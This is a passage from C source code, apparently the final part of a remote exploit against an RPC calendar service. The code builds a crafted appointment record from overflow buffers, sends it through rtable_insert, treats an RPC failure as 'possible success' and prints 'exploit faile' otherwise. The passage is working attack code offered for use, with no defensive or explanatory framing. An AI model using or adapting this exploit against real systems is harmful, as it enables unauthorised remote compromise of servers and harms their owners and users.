  ap.duration = ap.ntimes = ap.period.period = ap.period.nth = 1;
  ap.what = abuf;
  ap.client_data = &obuf[2];

  (void)memset(&ta,0,sizeof(ta));
  ta.args.tag = APPT;
  ta.target = cname;
  ta.args.Args_u.appt = &ap;

  (void)memset(&tr,0,sizeof(tr));

  if(clnt_call(c,rtable_insert,xdr_Table_Args,(caddr_t)&ta,
	       xdr_Table_Res,(caddr_t)&tr,tv)!=RPC_SUCCESS)
    (void)printf("possible success\n");
  else
    {
      (void)fprintf(stderr,"error: exploit faile: rtable_insert returned\n");
      exit(-1);
    }

  (void)clnt_destroy(c);

  return(0);
}